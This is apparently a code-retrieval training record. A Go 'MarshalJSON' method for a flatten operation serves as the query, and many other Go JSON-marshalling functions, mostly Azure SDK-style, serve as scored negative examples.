[ "0.7273444", "0.68888307", "0.6858969", "0.6761655", "0.6725371", "0.6674661", "0.66008407", "0.65879637", "0.6565157", "0.6563841", "0.6563841", "0.65550166", "0.65247244", "0.6512991", "0.6504512", "0.6493297", "0.64720696", "0.6466778", "0.6461792", "0.6411948", "0.64093304", "0.6402989", "0.639702", "0.63943726", "0.63938093", "0.6390285", "0.6386028", "0.63829005", "0.6379919", "0.63792264", "0.63654023", "0.6357403", "0.6357124", "0.6349029", "0.63302433", "0.63266754", "0.6284435", "0.62834954", "0.6274302", "0.62702584", "0.6267837", "0.6263893", "0.62607235", "0.6258726", "0.6258671", "0.6255475", "0.62491244", "0.6248728", "0.6248648", "0.62486047", "0.62394077", "0.6233161", "0.6204981", "0.6203522", "0.6201582", "0.61957794", "0.6190323", "0.6181042", "0.6175546", "0.6170235", "0.61658317", "0.61643904", "0.616209", "0.61619884", "0.61532176", "0.61532176", "0.61421436", "0.61421436", "0.61379373", "0.6128621", "0.6124358", "0.61240494", "0.6117283", "0.6116874", "0.61075157", "0.6093962", "0.6085696", "0.6067674", "0.6064184", "0.60417277", "0.6035546", "0.6035117", "0.6029331", "0.6027545", "0.60250854", "0.6024853", "0.6015193", "0.6004047", "0.59911984", "0.5990669", "0.59891987", "0.59814626", "0.59794635", "0.5975388", "0.5972979", "0.5971427", "0.59699184", "0.595712", "0.5955312", "0.5952111" ]
0.7536421
0
MarshalJSON will marshal a flatten operation into JSON
func (op OpFlatten) MarshalJSON() ([]byte, error) { return json.Marshal(op.Field) }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func (pbo PropertyBatchOperation) MarshalJSON() ([]byte, error) {\n\tpbo.Kind = KindPropertyBatchOperation\n\tobjectMap := make(map[string]interface{})\n\tif pbo.PropertyName != nil {\n\t\tobjectMap[\"PropertyName\"] = pbo.PropertyName\n\t}\n\tif pbo.Kind != \"\" {\n\t\tobjectMap[\"Kind\"] = pbo.Kind\n\t}\n\treturn json.Marshal(objectMap)\n}", "func (op *Operation) Marshal() ([]byte, error) {\n\treturn json.Marshal(op)\n}", "func (cspbo CheckSequencePropertyBatchOperation) MarshalJSON() ([]byte, error) {\n\tcspbo.Kind = KindCheckSequence\n\tobjectMap := make(map[string]interface{})\n\tif cspbo.SequenceNumber != nil {\n\t\tobjectMap[\"SequenceNumber\"] = cspbo.SequenceNumber\n\t}\n\tif cspbo.PropertyName != nil {\n\t\tobjectMap[\"PropertyName\"] = cspbo.PropertyName\n\t}\n\tif cspbo.Kind != \"\" {\n\t\tobjectMap[\"Kind\"] = cspbo.Kind\n\t}\n\treturn json.Marshal(objectMap)\n}", "func (f FeatureOperationsListResult) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"nextLink\", f.NextLink)\n\tpopulate(objectMap, \"value\", f.Value)\n\treturn json.Marshal(objectMap)\n}", "func (gpbo GetPropertyBatchOperation) MarshalJSON() ([]byte, error) {\n\tgpbo.Kind = KindGet\n\tobjectMap := make(map[string]interface{})\n\tif gpbo.IncludeValue != nil {\n\t\tobjectMap[\"IncludeValue\"] = gpbo.IncludeValue\n\t}\n\tif gpbo.PropertyName != nil {\n\t\tobjectMap[\"PropertyName\"] = gpbo.PropertyName\n\t}\n\tif gpbo.Kind != \"\" {\n\t\tobjectMap[\"Kind\"] = gpbo.Kind\n\t}\n\treturn json.Marshal(objectMap)\n}", "func (o OperationEntityListResult) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"nextLink\", o.NextLink)\n\tpopulate(objectMap, \"value\", o.Value)\n\treturn json.Marshal(objectMap)\n}", "func (o Operation)MarshalJSON() ([]byte, error){\n objectMap := make(map[string]interface{})\n return json.Marshal(objectMap)\n }", "func (ppbo PutPropertyBatchOperation) MarshalJSON() ([]byte, error) {\n\tppbo.Kind = KindPut\n\tobjectMap := make(map[string]interface{})\n\tobjectMap[\"Value\"] = ppbo.Value\n\tif ppbo.CustomTypeID != nil {\n\t\tobjectMap[\"CustomTypeId\"] = ppbo.CustomTypeID\n\t}\n\tif ppbo.PropertyName != nil {\n\t\tobjectMap[\"PropertyName\"] = ppbo.PropertyName\n\t}\n\tif ppbo.Kind != \"\" {\n\t\tobjectMap[\"Kind\"] = ppbo.Kind\n\t}\n\treturn json.Marshal(objectMap)\n}", "func (spbi SuccessfulPropertyBatchInfo) MarshalJSON() ([]byte, error) {\n\tspbi.Kind = KindSuccessful\n\tobjectMap := make(map[string]interface{})\n\tif spbi.Properties != nil {\n\t\tobjectMap[\"Properties\"] = spbi.Properties\n\t}\n\tif spbi.Kind != \"\" {\n\t\tobjectMap[\"Kind\"] = spbi.Kind\n\t}\n\treturn json.Marshal(objectMap)\n}", "func (s NestedAggregate) MarshalJSON() ([]byte, error) {\n\ttype opt NestedAggregate\n\t// We transform the struct to a map without the embedded additional properties map\n\ttmp := make(map[string]interface{}, 0)\n\n\tdata, err := json.Marshal(opt(s))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\terr = json.Unmarshal(data, &tmp)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// We inline the additional fields from the underlying map\n\tfor key, value := range s.Aggregations {\n\t\ttmp[fmt.Sprintf(\"%s\", key)] = value\n\t}\n\n\tdata, err = json.Marshal(tmp)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn data, nil\n}", "func (v flattenedField) MarshalJSON() ([]byte, error) {\n\tw := jwriter.Writer{}\n\teasyjson390b7126EncodeGithubComChancedPicker35(&w, v)\n\treturn w.Buffer.BuildBytes(), w.Error\n}", "func (sl Slice) MarshalJSON() ([]byte, error) {\n\tnk := len(sl)\n\tb := make([]byte, 0, nk*100+20)\n\tif nk == 0 {\n\t\tb = append(b, []byte(\"null\")...)\n\t\treturn b, nil\n\t}\n\tnstr := fmt.Sprintf(\"[{\\\"n\\\":%d,\", nk)\n\tb = append(b, []byte(nstr)...)\n\tfor i, kid := range sl {\n\t\t// fmt.Printf(\"json out of %v\\n\", kid.PathUnique())\n\t\tknm := kit.Types.TypeName(reflect.TypeOf(kid).Elem())\n\t\ttstr := fmt.Sprintf(\"\\\"type\\\":\\\"%v\\\", \\\"name\\\": \\\"%v\\\"\", knm, kid.UniqueName()) // todo: escape names!\n\t\tb = append(b, []byte(tstr)...)\n\t\tif i < nk-1 {\n\t\t\tb = append(b, []byte(\",\")...)\n\t\t}\n\t}\n\tb = append(b, []byte(\"},\")...)\n\tfor i, kid := range sl {\n\t\tvar err error\n\t\tvar kb []byte\n\t\tkb, err = json.Marshal(kid)\n\t\tif err == nil {\n\t\t\tb = append(b, []byte(\"{\")...)\n\t\t\tb = append(b, kb[1:len(kb)-1]...)\n\t\t\tb = append(b, []byte(\"}\")...)\n\t\t\tif i < nk-1 {\n\t\t\t\tb = append(b, []byte(\",\")...)\n\t\t\t}\n\t\t} else {\n\t\t\tfmt.Printf(\"error doing json.Marshall from kid: %v\\n\", kid.PathUnique())\n\t\t\tlog.Println(err)\n\t\t\tfmt.Printf(\"output to point of error: %v\\n\", string(b))\n\t\t}\n\t}\n\tb = append(b, []byte(\"]\")...)\n\t// fmt.Printf(\"json out: %v\\n\", string(b))\n\treturn b, nil\n}", "func (cvpbo CheckValuePropertyBatchOperation) MarshalJSON() ([]byte, error) {\n\tcvpbo.Kind = KindCheckValue\n\tobjectMap := make(map[string]interface{})\n\tobjectMap[\"Value\"] = cvpbo.Value\n\tif cvpbo.PropertyName != nil {\n\t\tobjectMap[\"PropertyName\"] = cvpbo.PropertyName\n\t}\n\tif cvpbo.Kind != \"\" {\n\t\tobjectMap[\"Kind\"] = cvpbo.Kind\n\t}\n\treturn json.Marshal(objectMap)\n}", "func (o OperationCollection) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"value\", o.Value)\n\treturn json.Marshal(objectMap)\n}", "func (cepbo CheckExistsPropertyBatchOperation) MarshalJSON() ([]byte, error) {\n\tcepbo.Kind = KindCheckExists\n\tobjectMap := make(map[string]interface{})\n\tif cepbo.Exists != nil {\n\t\tobjectMap[\"Exists\"] = cepbo.Exists\n\t}\n\tif cepbo.PropertyName != nil {\n\t\tobjectMap[\"PropertyName\"] = cepbo.PropertyName\n\t}\n\tif cepbo.Kind != \"\" {\n\t\tobjectMap[\"Kind\"] = cepbo.Kind\n\t}\n\treturn json.Marshal(objectMap)\n}", "func (o OperationListResult) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"nextLink\", o.NextLink)\n\tpopulate(objectMap, \"value\", o.Value)\n\treturn json.Marshal(objectMap)\n}", "func (o OperationListResult) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"nextLink\", o.NextLink)\n\tpopulate(objectMap, \"value\", o.Value)\n\treturn json.Marshal(objectMap)\n}", "func (o OperationListResult) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"nextLink\", o.NextLink)\n\tpopulate(objectMap, \"value\", o.Value)\n\treturn json.Marshal(objectMap)\n}", "func (o OperationListResult) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"nextLink\", o.NextLink)\n\tpopulate(objectMap, \"value\", o.Value)\n\treturn json.Marshal(objectMap)\n}", "func (o OperationListResult) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"nextLink\", o.NextLink)\n\tpopulate(objectMap, \"value\", o.Value)\n\treturn json.Marshal(objectMap)\n}", "func (o OperationListResult) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"nextLink\", o.NextLink)\n\tpopulate(objectMap, \"value\", o.Value)\n\treturn json.Marshal(objectMap)\n}", "func (o OperationListResult) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"nextLink\", o.NextLink)\n\tpopulate(objectMap, \"value\", o.Value)\n\treturn json.Marshal(objectMap)\n}", "func (o OperationListResult) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"nextLink\", o.NextLink)\n\tpopulate(objectMap, \"value\", o.Value)\n\treturn json.Marshal(objectMap)\n}", "func (o OperationListResult) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"nextLink\", o.NextLink)\n\tpopulate(objectMap, \"value\", o.Value)\n\treturn json.Marshal(objectMap)\n}", "func (o OperationListResult) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"nextLink\", o.NextLink)\n\tpopulate(objectMap, \"value\", o.Value)\n\treturn json.Marshal(objectMap)\n}", "func (o OperationListResult) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"nextLink\", o.NextLink)\n\tpopulate(objectMap, \"value\", o.Value)\n\treturn json.Marshal(objectMap)\n}", "func (o OperationListResult) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"nextLink\", o.NextLink)\n\tpopulate(objectMap, \"value\", o.Value)\n\treturn json.Marshal(objectMap)\n}", "func (o OperationListResult) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"nextLink\", o.NextLink)\n\tpopulate(objectMap, \"value\", o.Value)\n\treturn json.Marshal(objectMap)\n}", "func (o OperationListResult) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"nextLink\", o.NextLink)\n\tpopulate(objectMap, \"value\", o.Value)\n\treturn json.Marshal(objectMap)\n}", "func (o OperationListResult) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"nextLink\", o.NextLink)\n\tpopulate(objectMap, \"value\", o.Value)\n\treturn json.Marshal(objectMap)\n}", "func (f *FilterWrap) MarshalJSON() ([]byte, error) {\n\tvar root interface{}\n\tif len(f.filters) > 1 {\n\t\troot = map[string]interface{}{f.boolClause: f.filters}\n\t} else if len(f.filters) == 1 {\n\t\troot = f.filters[0]\n\t}\n\treturn json.Marshal(root)\n}", "func (o Operations) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]interface{})\n\tif o.NextLink != nil {\n\t\tobjectMap[\"nextLink\"] = o.NextLink\n\t}\n\treturn json.Marshal(objectMap)\n}", "func (msssdto MigrateSQLServerSQLDbTaskOutput) MarshalJSON() ([]byte, error) {\n\tmsssdto.ResultType = ResultTypeMigrateSQLServerSQLDbTaskOutput\n\tobjectMap := make(map[string]interface{})\n\tif msssdto.ID != nil {\n\t\tobjectMap[\"id\"] = msssdto.ID\n\t}\n\tif msssdto.ResultType != \"\" {\n\t\tobjectMap[\"resultType\"] = msssdto.ResultType\n\t}\n\treturn json.Marshal(objectMap)\n}", "func (mutate MutateOperation) MarshalJSON() ([]byte, error) {\n\t// validate required fields\n\tswitch {\n\tcase len(mutate.Table) == 0:\n\t\treturn nil, errors.New(\"Table field is required\")\n\tcase len(mutate.Where) == 0:\n\t\treturn nil, errors.New(\"Where field is required\")\n\tcase len(mutate.Mutations) == 0:\n\t\treturn nil, errors.New(\"Mutations field is required\")\n\t}\n\t// validate contions\n\tfor _, cond := range mutate.Where {\n\t\tif !cond.Valid() {\n\t\t\treturn nil, fmt.Errorf(\"Invalid condition: %v\", cond)\n\t\t}\n\t}\n\t// validate mutations\n\tfor _, mutation := range mutate.Mutations {\n\t\tif !mutation.Valid() {\n\t\t\treturn nil, fmt.Errorf(\"Invalid mutation: %v\", mutation)\n\t\t}\n\t}\n\n\tvar temp = struct {\n\t\tOp OperationType `json:\"op\"`\n\t\tTable ID `json:\"table\"`\n\t\tWhere []Condition `json:\"where\"`\n\t\tMutations []Mutation `json:\"mutations\"`\n\t}{\n\t\tOp: mutate.Op(),\n\t\tTable: mutate.Table,\n\t\tWhere: mutate.Where,\n\t\tMutations: mutate.Mutations,\n\t}\n\n\treturn json.Marshal(temp)\n}", "func (o OperationListResult) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"value\", o.Value)\n\treturn json.Marshal(objectMap)\n}", "func (o OperationList) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"nextLink\", o.NextLink)\n\tpopulate(objectMap, \"value\", o.Value)\n\treturn json.Marshal(objectMap)\n}", "func (o OperationList) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"nextLink\", o.NextLink)\n\tpopulate(objectMap, \"value\", o.Value)\n\treturn json.Marshal(objectMap)\n}", "func (r ResourceProviderOperationCollection) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]interface{})\n\tpopulate(objectMap, \"nextLink\", r.NextLink)\n\tpopulate(objectMap, \"value\", r.Value)\n\treturn json.Marshal(objectMap)\n}", "func (o OperationListResult) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]interface{})\n\tpopulate(objectMap, \"nextLink\", o.NextLink)\n\tpopulate(objectMap, \"value\", o.Value)\n\treturn json.Marshal(objectMap)\n}", "func (o OperationListResult) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]interface{})\n\tpopulate(objectMap, \"nextLink\", o.NextLink)\n\tpopulate(objectMap, \"value\", o.Value)\n\treturn json.Marshal(objectMap)\n}", "func (o OperationListResult) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]interface{})\n\tpopulate(objectMap, \"nextLink\", o.NextLink)\n\tpopulate(objectMap, \"value\", o.Value)\n\treturn json.Marshal(objectMap)\n}", "func (m MultiConfigInput) MarshalJSON() ([]byte, error) {\n\t_parts := make([][]byte, 0, 1)\n\n\taO0, err := swag.WriteJSON(m.ParallelExecutionInputBase)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\t_parts = append(_parts, aO0)\n\n\t// now for regular properties\n\tvar propsMultiConfigInput struct {\n\t\tMultipliers string `json:\"multipliers,omitempty\"`\n\t}\n\tpropsMultiConfigInput.Multipliers = m.Multipliers\n\n\tjsonDataPropsMultiConfigInput, errMultiConfigInput := swag.WriteJSON(propsMultiConfigInput)\n\tif errMultiConfigInput != nil {\n\t\treturn nil, errMultiConfigInput\n\t}\n\t_parts = append(_parts, jsonDataPropsMultiConfigInput)\n\treturn swag.ConcatJSON(_parts...), nil\n}", "func (dpbo DeletePropertyBatchOperation) MarshalJSON() ([]byte, error) {\n\tdpbo.Kind = KindDelete\n\tobjectMap := make(map[string]interface{})\n\tif dpbo.PropertyName != nil {\n\t\tobjectMap[\"PropertyName\"] = dpbo.PropertyName\n\t}\n\tif dpbo.Kind != \"\" {\n\t\tobjectMap[\"Kind\"] = dpbo.Kind\n\t}\n\treturn json.Marshal(objectMap)\n}", "func (j *CreateNhAssetOperation) MarshalJSON() ([]byte, error) {\n\tvar buf fflib.Buffer\n\tif j == nil {\n\t\tbuf.WriteString(\"null\")\n\t\treturn buf.Bytes(), nil\n\t}\n\terr := j.MarshalJSONBuf(&buf)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn buf.Bytes(), nil\n}", "func (p *Package) MarshalJSON() ([]byte, error) {\n\tflat := &flatPackage{\n\t\tID: p.ID,\n\t\tName: p.Name,\n\t\tPkgPath: p.PkgPath,\n\t\tErrors: p.Errors,\n\t\tGoFiles: p.GoFiles,\n\t\tCompiledGoFiles: p.CompiledGoFiles,\n\t\tOtherFiles: p.OtherFiles,\n\t\tEmbedFiles: p.EmbedFiles,\n\t\tEmbedPatterns: p.EmbedPatterns,\n\t\tIgnoredFiles: p.IgnoredFiles,\n\t\tExportFile: p.ExportFile,\n\t}\n\tif len(p.Imports) > 0 {\n\t\tflat.Imports = make(map[string]string, len(p.Imports))\n\t\tfor path, ipkg := range p.Imports {\n\t\t\tflat.Imports[path] = ipkg.ID\n\t\t}\n\t}\n\treturn json.Marshal(flat)\n}", "func (t TransformCollection) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"@odata.nextLink\", t.ODataNextLink)\n\tpopulate(objectMap, \"value\", t.Value)\n\treturn json.Marshal(objectMap)\n}", "func (v Join) MarshalJSON() ([]byte, error) {\n\tw := jwriter.Writer{}\n\teasyjson42239ddeEncodeGithubComKhliengDispatchServer21(&w, v)\n\treturn w.Buffer.BuildBytes(), w.Error\n}", "func (s SelectOperation) MarshalJSON() ([]byte, error) {\n\t// validate required fields\n\tswitch {\n\tcase len(s.Table) == 0:\n\t\treturn nil, errors.New(\"Table field is required\")\n\tcase len(s.Where) == 0:\n\t\treturn nil, errors.New(\"Where field is required\")\n\t}\n\t// validate contions\n\tfor _, cond := range s.Where {\n\t\tif !cond.Valid() {\n\t\t\treturn nil, fmt.Errorf(\"Invalid condition: %v\", cond)\n\t\t}\n\t}\n\n\tvar temp = struct {\n\t\tOp OperationType `json:\"op\"`\n\t\tTable ID `json:\"table\"`\n\t\tWhere []Condition `json:\"where\"`\n\t\tColumns []ID `json:\"columns,omitempty\"`\n\t}{\n\t\tOp: s.Op(),\n\t\tTable: s.Table,\n\t\tWhere: s.Where,\n\t\tColumns: s.Columns,\n\t}\n\n\treturn json.Marshal(temp)\n}", "func (v bulkUpdateRequestCommandOp) MarshalJSON() ([]byte, error) {\n\tw := jwriter.Writer{}\n\teasyjson1ed00e60EncodeGithubComOlivereElasticV7(&w, v)\n\treturn w.Buffer.BuildBytes(), w.Error\n}", "func (m Pipeline) MarshalJSON() ([]byte, error) {\n\t_parts := make([][]byte, 0, 2)\n\n\taO0, err := swag.WriteJSON(m.Resource)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\t_parts = append(_parts, aO0)\n\n\tvar dataAO1 struct {\n\t\tCredentialID string `json:\"credentialId,omitempty\"`\n\n\t\tPath string `json:\"path,omitempty\"`\n\n\t\tProvider string `json:\"provider,omitempty\"`\n\n\t\tProviderID string `json:\"providerId,omitempty\"`\n\n\t\tSourceRepository *SourceRepository `json:\"sourceRepository,omitempty\"`\n\n\t\tTemplate interface{} `json:\"template,omitempty\"`\n\t}\n\n\tdataAO1.CredentialID = m.CredentialID\n\n\tdataAO1.Path = m.Path\n\n\tdataAO1.Provider = m.Provider\n\n\tdataAO1.ProviderID = m.ProviderID\n\n\tdataAO1.SourceRepository = m.SourceRepository\n\n\tdataAO1.Template = m.Template\n\n\tjsonDataAO1, errAO1 := swag.WriteJSON(dataAO1)\n\tif errAO1 != nil {\n\t\treturn nil, errAO1\n\t}\n\t_parts = append(_parts, jsonDataAO1)\n\n\treturn swag.ConcatJSON(_parts...), nil\n}", "func (o OperationsDefinitionArrayResponseWithContinuation) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"nextLink\", o.NextLink)\n\tpopulate(objectMap, \"value\", o.Value)\n\treturn json.Marshal(objectMap)\n}", "func (o Operation) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]interface{})\n\treturn json.Marshal(objectMap)\n}", "func (j *CommitteeMemberUpdateGlobalParametersOperation) MarshalJSON() ([]byte, error) {\n\tvar buf fflib.Buffer\n\tif j == nil {\n\t\tbuf.WriteString(\"null\")\n\t\treturn buf.Bytes(), nil\n\t}\n\terr := j.MarshalJSONBuf(&buf)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn buf.Bytes(), nil\n}", "func (v ProductShrinkedArr) MarshalJSON() ([]byte, error) {\n\tw := jwriter.Writer{}\n\teasyjsonD2b7633eEncodeBackendInternalModels2(&w, v)\n\treturn w.Buffer.BuildBytes(), w.Error\n}", "func (a *PipelineAggregation) MarshalJSON() ([]byte, error) {\n\troot := map[string]interface{}{\n\t\t\"buckets_path\": a.BucketPath,\n\t}\n\n\tfor k, v := range a.Settings {\n\t\tif k != \"\" && v != nil {\n\t\t\troot[k] = v\n\t\t}\n\t}\n\n\treturn json.Marshal(root)\n}", "func (s *Operation) MarshalJSON() ([]byte, error) {\n\treturn json.Marshal(*s)\n}", "func (ctsssto ConnectToSourceSQLServerTaskOutput) MarshalJSON() ([]byte, error) {\n\tctsssto.ResultType = ResultTypeBasicConnectToSourceSQLServerTaskOutputResultTypeConnectToSourceSQLServerTaskOutput\n\tobjectMap := make(map[string]interface{})\n\tif ctsssto.ID != nil {\n\t\tobjectMap[\"id\"] = ctsssto.ID\n\t}\n\tif ctsssto.ResultType != \"\" {\n\t\tobjectMap[\"resultType\"] = ctsssto.ResultType\n\t}\n\treturn json.Marshal(objectMap)\n}", "func (o Operation) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"display\", o.Display)\n\tpopulate(objectMap, \"isDataAction\", o.IsDataAction)\n\tpopulate(objectMap, \"name\", o.Name)\n\tpopulate(objectMap, \"properties\", o.Properties)\n\treturn json.Marshal(objectMap)\n}", "func (pbi PropertyBatchInfo) MarshalJSON() ([]byte, error) {\n\tpbi.Kind = KindPropertyBatchInfo\n\tobjectMap := make(map[string]interface{})\n\tif pbi.Kind != \"\" {\n\t\tobjectMap[\"Kind\"] = pbi.Kind\n\t}\n\treturn json.Marshal(objectMap)\n}", "func (b *SampleFJSONBuilder) Marshal(orig *SampleF) ([]byte, error) {\n\tret, err := b.Convert(orig)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn json.Marshal(ret)\n}", "func (v nestedQuery) MarshalJSON() ([]byte, error) {\n\tw := jwriter.Writer{}\n\teasyjson390b7126EncodeGithubComChancedPicker17(&w, v)\n\treturn w.Buffer.BuildBytes(), w.Error\n}", "func (msssmto MigrateSQLServerSQLMITaskOutput) MarshalJSON() ([]byte, error) {\n\tmsssmto.ResultType = ResultTypeBasicMigrateSQLServerSQLMITaskOutputResultTypeMigrateSQLServerSQLMITaskOutput\n\tobjectMap := make(map[string]interface{})\n\tif msssmto.ID != nil {\n\t\tobjectMap[\"id\"] = msssmto.ID\n\t}\n\tif msssmto.ResultType != \"\" {\n\t\tobjectMap[\"resultType\"] = msssmto.ResultType\n\t}\n\treturn json.Marshal(objectMap)\n}", "func (olr OperationListResult) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]interface{})\n\treturn json.Marshal(objectMap)\n}", "func (o Operation) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"display\", o.Display)\n\tpopulate(objectMap, \"name\", o.Name)\n\treturn json.Marshal(objectMap)\n}", "func (o Operation) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"display\", o.Display)\n\tpopulate(objectMap, \"name\", o.Name)\n\treturn json.Marshal(objectMap)\n}", "func (o Operation) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"display\", o.Display)\n\tpopulate(objectMap, \"name\", o.Name)\n\treturn json.Marshal(objectMap)\n}", "func (o Operation) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"display\", o.Display)\n\tpopulate(objectMap, \"name\", o.Name)\n\treturn json.Marshal(objectMap)\n}", "func (o Operation) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"display\", o.Display)\n\tpopulate(objectMap, \"name\", o.Name)\n\treturn json.Marshal(objectMap)\n}", "func (o Operation) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"display\", o.Display)\n\tpopulate(objectMap, \"name\", o.Name)\n\treturn json.Marshal(objectMap)\n}", "func (o Operation) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"display\", o.Display)\n\tpopulate(objectMap, \"name\", o.Name)\n\tpopulate(objectMap, \"origin\", o.Origin)\n\tpopulateAny(objectMap, \"properties\", o.Properties)\n\treturn json.Marshal(objectMap)\n}", "func (o OperationInputs) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"name\", o.Name)\n\tpopulate(objectMap, \"type\", o.Type)\n\treturn json.Marshal(objectMap)\n}", "func (v ProductShrinked) MarshalJSON() ([]byte, error) {\n\tw := jwriter.Writer{}\n\teasyjsonD2b7633eEncodeBackendInternalModels3(&w, v)\n\treturn w.Buffer.BuildBytes(), w.Error\n}", "func (m SnoozeLogEntryAllOf2) MarshalJSON() ([]byte, error) {\n\tvar b1, b2, b3 []byte\n\tvar err error\n\tb1, err = json.Marshal(struct {\n\t}{},\n\t)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tb2, err = json.Marshal(struct {\n\t\tChangedActions []IncidentAction `json:\"changed_actions,omitempty\"`\n\t}{\n\n\t\tChangedActions: m.changedActionsField,\n\t},\n\t)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn swag.ConcatJSON(b1, b2, b3), nil\n}", "func (as AppSet) MarshalJSON() ([]byte, error) {\n\tvar (\n\t\tapp []byte\n\t\tappJSON map[string]map[string]interface{}\n\t\tcontainer []byte\n\t\tcontainerJSON map[string]map[string]interface{}\n\t\tmarshaled []byte\n\t\terr error\n\t)\n\n\tif app, err = jsonapi.Marshal(as.App); err != nil {\n\t\treturn nil, err\n\t}\n\n\tif err = json.Unmarshal(app, &appJSON); err != nil {\n\t\treturn nil, err\n\t}\n\n\tif container, err = jsonapi.Marshal(as.Container); err != nil {\n\t\treturn nil, err\n\t}\n\n\tif err = json.Unmarshal(container, &containerJSON); err != nil {\n\t\treturn nil, err\n\t}\n\n\tdata := map[string][]map[string]interface{}{\n\t\t\"data\": []map[string]interface{}{\n\t\t\tappJSON[\"data\"],\n\t\t\tcontainerJSON[\"data\"],\n\t\t},\n\t}\n\n\tif marshaled, err = json.Marshal(data); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn marshaled, nil\n}", "func (o Operation) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"display\", o.Display)\n\tpopulate(objectMap, \"name\", o.Name)\n\tpopulate(objectMap, \"origin\", o.Origin)\n\tpopulate(objectMap, \"properties\", o.Properties)\n\treturn json.Marshal(objectMap)\n}", "func (p ProviderOperationResult) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]interface{})\n\tpopulate(objectMap, \"nextLink\", p.NextLink)\n\tpopulate(objectMap, \"value\", p.Value)\n\treturn json.Marshal(objectMap)\n}", "func (v ProductToAdd) MarshalJSON() ([]byte, error) {\n\tw := jwriter.Writer{}\n\teasyjsonD2b7633eEncodeBackendInternalModels1(&w, v)\n\treturn w.Buffer.BuildBytes(), w.Error\n}", "func (o Operation) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"actionType\", o.ActionType)\n\tpopulate(objectMap, \"display\", o.Display)\n\tpopulate(objectMap, \"isDataAction\", o.IsDataAction)\n\tpopulate(objectMap, \"name\", o.Name)\n\tpopulate(objectMap, \"origin\", o.Origin)\n\tpopulate(objectMap, \"properties\", o.Properties)\n\treturn json.Marshal(objectMap)\n}", "func (o Operation) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"display\", o.Display)\n\tpopulate(objectMap, \"name\", o.Name)\n\tpopulate(objectMap, \"origin\", o.Origin)\n\treturn json.Marshal(objectMap)\n}", "func (o Operation) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"display\", 